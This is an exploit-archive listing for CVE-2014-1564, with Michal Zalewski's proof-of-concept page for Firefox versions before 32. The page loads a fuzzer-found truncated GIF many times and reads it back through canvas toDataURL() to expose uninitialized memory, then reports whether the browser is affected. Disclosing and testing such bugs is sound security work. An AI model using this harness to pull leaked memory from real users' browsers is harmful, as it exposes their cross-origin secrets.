what you don't know can hurt you

Mozilla Firefox Secret Leak

Mozilla Firefox Secret Leak
Posted Sep 3, 2014
Authored by Michal Zalewski

The recent release of Firefox 32 fixes another interesting image parsing issue found by afl. Following a refactoring of memory management code, the past few versions of the browser ended up using uninitialized memory for certain types of truncated images, which is easily measurable with a simple <canvas> + toDataURL() harness that examines all the fuzzer-generated test cases. Depending on a variety of factors, problems like that may leak secrets across web origins, or more prosaically, may help attackers bypass security measures such as ASLR. This code is a proof of concept for versions prior to 32.

tags | exploit, web, proof of concept, fuzzer
advisories | CVE-2014-1564
MD5 | 2235bb65ae6abe2af194f34a079a0f08

Mozilla Firefox Secret Leak

Change Mirror Download
<style>
body {
background-color: #d0d0d0;
}

img {
border: 1px solid teal;
margin: 1ex;
}

canvas {
border: 1px solid crimson;
margin: 1ex;
}
</style>

<body onload="set_images()">

<div id="status">
</div>

<div id="image_div">
</div>

<canvas height=32 width=32 id=cvs>
</canvas>

<h2>Variants:</h2>

<ul id="output">
</ul>

<script>
var c = document.getElementById('cvs');
var ctx = c.getContext('2d');

var loaded = 0;
var image_obj = [];
var USE_IMAGES = 300;

function check_results() {

var uniques = [];

uniques.push(image_obj[0].imgdata);

document.getElementById('output').innerHTML +=
'<img src="' + image_obj[0].imgdata + '">';

for (var i = 1; i < USE_IMAGES; i++) {

if (image_obj[0].imgdata != image_obj[i].imgdata) {

for (var j = 1; j < uniques.length; j++)
if (uniques[j] == image_obj[i].imgdata) break;

if (j == uniques.length) {

uniques.push(image_obj[i].imgdata);

document.getElementById('output').innerHTML +=
'<img src="' + image_obj[i].imgdata + '">';


}


}

}

if (uniques.length > 1)
alert('The image has ' + uniques.length + ' variants when rendered. Looks like you have a problem.');
else
alert('The image has just one variant when rendered. You\'re probably OK.');

}


function count_image() {

loaded++;

ctx.clearRect(0, 0, 32, 32);

try {
ctx.drawImage(this, 0, 0, 32, 32);
} catch (e) { }

this.imgdata = c.toDataURL();

if (loaded == USE_IMAGES) check_results();

}


function set_images() {

loaded = 0;
create_images();

for (var i = 0; i < USE_IMAGES; i++)
image_obj[i].src = './id:000110,src:000023.gif?' + Math.random();

}


function create_images() {

for (var i = 0; i < USE_IMAGES; i++) {

image_obj[i] = new Image();
image_obj[i].height = 32;
image_obj[i].width = 32;
image_obj[i].onerror = count_image;
image_obj[i].onload = count_image;

document.getElementById('image_div').appendChild(image_obj[i]);

}

}


</script>


<iframe src='http://www.cnn.com/'></iframe>

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